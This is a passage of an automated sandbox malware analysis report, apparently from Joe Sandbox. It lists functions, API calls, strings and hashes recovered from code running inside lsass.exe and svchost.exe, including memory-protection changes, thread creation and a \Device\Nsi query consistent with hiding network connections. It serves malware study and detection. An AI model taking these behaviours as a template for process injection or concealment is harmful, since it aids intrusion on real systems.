csm, xrefs: 000002A29199ADC2

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 83ea0d018fee459cfa53da402ecaf07e370cce6283bd230a5add074b43673c95
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: BF519F7A2002A2CBFBA48B1BD68835A77A0F35AF95F244115DA5947BD9CF38D45CC702

Function 000002A2911CA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A2911CA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002A2911CA288

Strings

csm, xrefs: 000002A2911CA2DA
csm, xrefs: 000002A2911CA1C2

Memory Dump Source

Source File: 00000031.00000002.2657135659.000002A2911C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A2911C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a2911c0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: ae080d31f9a23d4b48301dcc4bdb2464afb26e9ddb5bb71d6685049e8a2a6eb7
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 5C51D0323042A2DBEBB18B5BA45835E77A0F356F84F285116DA8987BC5DF78C45CE702

Function 000002A2911C8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A2911C8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A2911C84A8

Strings

csm, xrefs: 000002A2911C848E
f, xrefs: 000002A2911C8426

Memory Dump Source

Source File: 00000031.00000002.2657135659.000002A2911C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A2911C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a2911c0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 926694b6d52d54cb27d4976bf5ac45df6aaa9f61c1e787702c5ad3038b920f7b
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 7851E632711622E7DB94CB1AD488B2A3395F362F98F718126DA064374CEFB4D84DDB05

Function 000002A2911C83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A2911C8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A2911C84A8

Strings

csm, xrefs: 000002A2911C848E
f, xrefs: 000002A2911C8426

Memory Dump Source

Source File: 00000031.00000002.2657135659.000002A2911C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A2911C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a2911c0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 2aefe856cf9821ae54ee426a3807d8c36b3e988bff2276817065e4b5fdfe7aae
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7631B031301661E7E794DF1AE88875A77A4F752F88F258019EE4A03748DF38C94DD706

Function 000002A2919A2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002A2919A20D7
WriteFile.KERNEL32 ref: 000002A2919A239F
WriteFile.KERNEL32 ref: 000002A2919A23E5
GetLastError.KERNEL32 ref: 000002A2919A249B

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 307230fd63942bdd5a78379f5f9f12523036320d15212c8f65d9e8de9dc1814f
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: AFD1DD32704A91CAF751CB6AD6482AD3BB1F34AB98F244216CE5997BD9DE34C40EC341

Function 000002A2919914A4 Relevance: 6.3, APIs: 5, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A2919914C5
HeapFree.KERNEL32 ref: 000002A2919914D4
GetProcessHeap.KERNEL32 ref: 000002A2919914E1
HeapFree.KERNEL32 ref: 000002A2919914F0
GetProcessHeap.KERNEL32 ref: 000002A291991500

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction ID: 35b72c5b87daf49ec089226d9ca65f2f0c7e377a4a9afe8c702c47c3c1fe457c
Opcode Fuzzy Hash: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction Fuzzy Hash: 9E018C36700AA1C7E784DF6BEA0814A6BA0F78EF85F644024EA5A43759DE38E05CC741

Function 000002A2919A2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002A2919A2A9C
GetLastError.KERNEL32 ref: 000002A2919A2B27

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 3ddf5e4ff360607ae1ad631fdafb66c63b2c3da85c3dd6b57fe440fffbc7acd3
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 4E918472710661C7F7A09F6E97583AE2BA0B74AF88F744109DE0657AD5DE34C48EC702

Function 000002A291997960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002A29199798C
GetCurrentThreadId.KERNEL32 ref: 000002A29199799A
GetCurrentProcessId.KERNEL32 ref: 000002A2919979A6
QueryPerformanceCounter.KERNEL32 ref: 000002A2919979B6

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 2d278db7f6185bf4257e8498063ddb4dbc240bb3c3e343283c291c85a2a909c7
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: F3117022710F12CAFB40CF65E8583A933A4F31EB58F540E25EA6D427A4DF78D1AC8380

Function 000002A2911C9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002A2911C9EB7

Strings

MOC, xrefs: 000002A2911C9E7C
RCC, xrefs: 000002A2911C9E85

Memory Dump Source

Source File: 00000031.00000002.2657135659.000002A2911C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A2911C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a2911c0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 6f07e790c581b63989c5fc7a634458588c2cb7c78a0069fc75f04618ec94c229
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 0B617933600B99DAEB60DF6AD08439E77A0F346B88F244215EF4917B98DF38D099D702

Function 000002A291992330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A291992416
StrCpyW.SHLWAPI ref: 000002A29199242D

Strings

\\.\pipe\, xrefs: 000002A291992421

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 71adc9c5821356b1c1c63586a9e8c75c0363f9b6de45721788ff6ca54b5d8a1b
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: A451A1227043A2C2F6A89A2FE25C3AB5761F38EF40F640125DD5A03B4EDE39C94C8742

Function 000002A2919A26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002A2919A2807
GetLastError.KERNEL32 ref: 000002A2919A2829

Strings

U, xrefs: 000002A2919A27B3

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 7629f06d96b79a272e6f04d7db8bc3803aa5b6164494ce0c6112b717000e5649
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: EC41A232315A91C2EBA08F2AE6483AA77A0F79DB94F644021EE4D87798DF3CC54DC741

Function 000002A2919994A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002A2919994F0
RaiseException.KERNEL32 ref: 000002A291999531

Strings

csm, xrefs: 000002A29199951E

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 5dd3689bbf5aff6326420e2155b0704a08a6b82fadef4d17dfd39c7e7aa88bd7
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 73112B36214B9183EBA18F1AE54435A77E5F789F94F684224EE8C07758DF3CC559CB01

Function 000002A2911C7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002A2911C737C

Strings

ierarchy Descriptor', xrefs: 000002A2911C7381
riptor at (, xrefs: 000002A2911C7364

Memory Dump Source

Source File: 00000031.00000002.2657135659.000002A2911C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A2911C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a2911c0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 93edb5fb0b132fd7271519c893dfeed14cc6724839e9e44b018e956b99003819
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: D7E08661740B55E1DF458F26E88429933A0DB5AF64F989122995C06351FF38D1FDC301

Function 000002A2911C73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002A2911C73D8

Strings

Locator', xrefs: 000002A2911C73DD
riptor at (, xrefs: 000002A2911C73C0

Memory Dump Source

Source File: 00000031.00000002.2657135659.000002A2911C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A2911C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a2911c0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: ecf5bb12e97ae8ede17a702195ef0fb2d0f2a7e240cfa2b5847f99b30a39af29
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 78E08C61B00B59E5DF468F26E88029973A0EB6AF64F989122CA4C06351FF38D1EDC301

Function 000002A291991BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A291991C2D
HeapAlloc.KERNEL32 ref: 000002A291991C3B
GetProcessHeap.KERNEL32 ref: 000002A291991C77
HeapFree.KERNEL32 ref: 000002A291991C85

Part of subcall function 000002A29199152C: StrCmpIW.SHLWAPI ref: 000002A29199155D

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 464bcb97e3c9314eea8166744373369e2b388c1d326151b7449f27b6ebef7635
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: A2116025B01B95C2FA84DB6BE50822A67A1F78EFD4F684025DE4E43769DE38D44E8301

Function 000002A291991268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A29199126E
HeapAlloc.KERNEL32 ref: 000002A29199127D
GetProcessHeap.KERNEL32 ref: 000002A291991297
HeapAlloc.KERNEL32 ref: 000002A2919912A8

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 185b0546519f995496c93be5b0f86adfffaff4249d3f278c3fafc5b534794824
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 39E03939701615C7FB448B67D90834A3EE1FB8EF06F948024890907391DF7D949DC751

Analysis Process: svchost.exePID: 928, Parent PID: 7616COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	219
Total number of Limit Nodes:	8

Executed Functions

Function 0000014E25ED328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000014E25ED32AE
PathFindFileNameW.SHLWAPI ref: 0000014E25ED32BD

Part of subcall function 0000014E25ED3844: StrCmpNIW.SHLWAPI ref: 0000014E25ED385C

Part of subcall function 0000014E25ED3790: GetModuleHandleW.KERNEL32 ref: 0000014E25ED379E
Part of subcall function 0000014E25ED3790: GetCurrentProcess.KERNEL32 ref: 0000014E25ED37CC
Part of subcall function 0000014E25ED3790: VirtualProtectEx.KERNEL32 ref: 0000014E25ED37EE
Part of subcall function 0000014E25ED3790: GetCurrentProcess.KERNEL32 ref: 0000014E25ED3809
Part of subcall function 0000014E25ED3790: VirtualProtectEx.KERNEL32 ref: 0000014E25ED382A

CreateThread.KERNEL32 ref: 0000014E25ED330B

Part of subcall function 0000014E25ED1D14: GetCurrentThread.KERNEL32 ref: 0000014E25ED1D1F

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: ec4161c4f1973986df8c574484aa40d597b44ab65623eef5f4e9b84d014c0903
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 45116DB1A3264082FBE49B25FF05FD922DCB79A345F5061249917855F6EFF9C1448350

Function 0000014E25ED1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000014E25ED1628: GetProcessHeap.KERNEL32 ref: 0000014E25ED1633
Part of subcall function 0000014E25ED1628: HeapAlloc.KERNEL32 ref: 0000014E25ED1642
Part of subcall function 0000014E25ED1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED16B2
Part of subcall function 0000014E25ED1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED16DF
Part of subcall function 0000014E25ED1628: RegCloseKey.ADVAPI32 ref: 0000014E25ED16F9
Part of subcall function 0000014E25ED1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED1719
Part of subcall function 0000014E25ED1628: RegCloseKey.ADVAPI32 ref: 0000014E25ED1734
Part of subcall function 0000014E25ED1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED1754
Part of subcall function 0000014E25ED1628: RegCloseKey.ADVAPI32 ref: 0000014E25ED176F
Part of subcall function 0000014E25ED1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED178F
Part of subcall function 0000014E25ED1628: RegCloseKey.ADVAPI32 ref: 0000014E25ED17AA
Part of subcall function 0000014E25ED1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED17CA

Sleep.KERNEL32 ref: 0000014E25ED1AD7
SleepEx.KERNELBASE ref: 0000014E25ED1ADD

Part of subcall function 0000014E25ED1628: RegCloseKey.ADVAPI32 ref: 0000014E25ED17E5
Part of subcall function 0000014E25ED1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED1805
Part of subcall function 0000014E25ED1628: RegCloseKey.ADVAPI32 ref: 0000014E25ED1820
Part of subcall function 0000014E25ED1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED1840
Part of subcall function 0000014E25ED1628: RegCloseKey.ADVAPI32 ref: 0000014E25ED185B
Part of subcall function 0000014E25ED1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E25ED187B
Part of subcall function 0000014E25ED1628: RegCloseKey.ADVAPI32 ref: 0000014E25ED1896
Part of subcall function 0000014E25ED1628: RegCloseKey.ADVAPI32 ref: 0000014E25ED18A0

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 4f9138a27f515c4560b724a4ce78d8a5789e6dff9fc277979641b626aa87eaa8
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 4031BD7221264181EBD89B26DF51BE913EDBB8DBD4F0474219E0B876B6EE94C8518311

Function 0000014E25ED3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 0000014E25ED385C

Strings

dialer, xrefs: 0000014E25ED3855

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 70b5d17667e6c287c63a42a861956bd54ed603b9f6973ac1a3c59364d2fced0b
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 8DD0A77433220586FF94DFE6AEC4EE423DCFB08764F985024CD02012B0DB988D8D9710

Function 0000014E255D273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000014E255D285E

Memory Dump Source

Source File: 00000032.00000002.2655117981.0000014E255D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E255D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e255d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 61d15e7f8051c1c6ea22e4ab23ff41feee112f27c0d23cc355fd173832c7c0b5
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: F7615633F4229187DB54CF15CA40BADB3DAF755BA4F988121CE5A03798DA78D892C700

Function 0000014E25EDD6CC Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 0000014E25EDD721

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
Instruction ID: 00a86a298cf911e6ed402eeaea26ab4c0585fb7d64c3fe19115fa6648bde67b7
Opcode Fuzzy Hash: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
Instruction Fuzzy Hash: 13F06D7931224041FED456A1AF01BED12CC7B8BB90F0C7070490B863E2EEDCC48087A0

Non-executed Functions

Function 0000014E25ED2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000014E25ED2BD0
lstrlenW.KERNEL32 ref: 0000014E25ED2E0A

Part of subcall function 0000014E25ED199C: OpenProcess.KERNEL32 ref: 0000014E25ED19C2
Part of subcall function 0000014E25ED199C: K32GetModuleFileNameExW.KERNEL32 ref: 0000014E25ED19E0
Part of subcall function 0000014E25ED199C: PathFindFileNameW.SHLWAPI ref: 0000014E25ED19EF
Part of subcall function 0000014E25ED199C: lstrlenW.KERNEL32 ref: 0000014E25ED19FB
Part of subcall function 0000014E25ED199C: StrCpyW.SHLWAPI ref: 0000014E25ED1A0E
Part of subcall function 0000014E25ED199C: CloseHandle.KERNEL32 ref: 0000014E25ED1A1C

GetProcAddress.KERNEL32 ref: 0000014E25ED2BE5

Part of subcall function 0000014E25ED152C: StrCmpIW.SHLWAPI ref: 0000014E25ED155D

Part of subcall function 0000014E25ED3844: StrCmpNIW.SHLWAPI ref: 0000014E25ED385C

StrCmpNIW.SHLWAPI ref: 0000014E25ED2C28
lstrlenW.KERNEL32 ref: 0000014E25ED2D50

Strings

ntdll.dll, xrefs: 0000014E25ED2BC9
NtQueryObject, xrefs: 0000014E25ED2BDB
\Device\Nsi, xrefs: 0000014E25ED2C1B

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 5f587f22587abd1431a1499f71e10d14118b5f21938d0c7cdf4f0e995d43f0cd
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 5AB1AD72222A5086EBE98F25DE40BE963EDFB46B94F046016EE0A577B4DFB5CC40C340

Function 0000014E25ED7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000014E25ED7DAC
RtlCaptureContext.NTDLL ref: 0000014E25ED7DD9
RtlLookupFunctionEntry.NTDLL ref: 0000014E25ED7DF3
RtlVirtualUnwind.NTDLL ref: 0000014E25ED7E34
IsDebuggerPresent.KERNEL32 ref: 0000014E25ED7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 0000014E25ED7EA9
UnhandledExceptionFilter.KERNEL32 ref: 0000014E25ED7EB4

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: a58b129de63e11622298d6c6a6695538686e417bbbb43f62ee147bc6e5dcd9c5
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: C5318272215B808AEBA09F60F840BED73B8F785754F54502ADB4E47BA9EF78C548C710

Function 0000014E25EDD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000014E25EDD31D
RtlLookupFunctionEntry.NTDLL ref: 0000014E25EDD335
RtlVirtualUnwind.NTDLL ref: 0000014E25EDD370
IsDebuggerPresent.KERNEL32 ref: 0000014E25EDD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 0000014E25EDD3B3
UnhandledExceptionFilter.KERNEL32 ref: 0000014E25EDD3BE

